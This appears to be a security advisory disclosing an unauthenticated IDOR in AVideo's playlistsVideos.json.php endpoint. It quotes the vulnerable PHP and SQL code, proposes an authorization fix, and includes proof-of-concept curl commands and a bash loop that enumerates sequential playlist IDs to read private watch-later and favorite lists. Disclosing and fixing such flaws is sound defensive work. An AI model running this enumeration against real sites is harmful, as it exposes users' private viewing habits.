Description

AVideo: Unauthenticated IDOR in playlistsVideos.json.php Exposes Private Playlist Contents

Summary

The objects/playlistsVideos.json.php endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including watch_later and favorite types) are correctly hidden from listing endpoints via playlistsFromUser.json.php, but their contents are directly accessible through this endpoint by providing the sequential integer playlists_id parameter.

Details

The endpoint at objects/playlistsVideos.json.php accepts a playlists_id parameter and directly calls PlayList::getVideosFromPlaylist() with no ownership or visibility validation:

// objects/playlistsVideos.json.php:24-28
if (empty($_REQUEST['playlists_id'])) {
    die('Play List can not be empty');
}
require_once './playlist.php';
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);

The getVideosFromPlaylist() method at objects/playlist.php:588 performs a SQL query joining playlists_has_videos, videos, and users tables with no authorization filter:

// objects/playlist.php:592-597
$sql = "SELECT v.*, p.*,v.created as cre, p.`order` as video_order  "
    . " FROM  playlists_has_videos p "
    . " LEFT JOIN videos as v ON videos_id = v.id "
    . " LEFT JOIN users u ON u.id = v.users_id "
    . " WHERE playlists_id = ? AND v.status != 'i' ";

In contrast, the listing endpoint playlistsFromUser.json.php correctly enforces visibility at lines 23-27:

// objects/playlistsFromUser.json.php:23-27
$publicOnly = true;
if (User::isLogged() && (User::getId() == $requestedUserId || User::isAdmin())) {
    $publicOnly = false;
}
$row = PlayList::getAllFromUser($requestedUserId, $publicOnly);

This creates a bypass: even though private playlists are hidden from listing, their contents are fully exposed via the videos endpoint. Playlist IDs are sequential integers, making enumeration trivial. The .htaccess rewrite at line 356 maps the clean URL playListsVideos.json to this endpoint.

PoC

Step 1: Enumerate playlist contents without authentication

# No cookies or auth headers needed. Increment playlists_id to enumerate.
curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=1" | python3 -m json.tool

Expected: Returns full video metadata array for playlist ID 1, including video titles, filenames, URLs, user info, comments, and subscriber counts.

Step 2: Enumerate private playlists (watch_later, favorite)

# Iterate through sequential IDs to find private playlists
for i in $(seq 1 50); do
  result=$(curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i")
  count=$(echo "$result" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
  if [ "$count" != "0" ] && [ -n "$count" ]; then
    echo "Playlist $i: $count videos"
  fi
done...
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Step 3: Confirm the listing endpoint correctly hides private playlists

# This correctly returns only public playlists for user 1
curl -s "http://TARGET/objects/playlistsFromUser.json.php?users_id=1" | python3 -m json.tool
# Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones

Impact

An unauthenticated attacker can:

Enumerate all users' watch history by accessing watch_later playlist contents

Enumerate all users' favorites by accessing favorite playlist contents

Access unlisted/private custom playlists that were intentionally hidden from public view

Harvest video metadata including filenames, URLs, user information, and comments for videos in private playlists

This is a privacy violation that exposes user viewing habits and content preferences. The sequential integer IDs make bulk enumeration straightforward.

Recommended Fix

Add authorization checks to objects/playlistsVideos.json.php before returning playlist contents:

// objects/playlistsVideos.json.php — add after line 27, before getVideosFromPlaylist()
require_once $global['systemRootPath'] . 'plugin/PlayLists/PlayLists.php';

$pl = new PlayList($_REQUEST['playlists_id']);
$plStatus = $pl->getStatus();

// Public playlists are accessible to everyone
if ($plStatus !== 'public') {...
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Mitigation

Aliases

References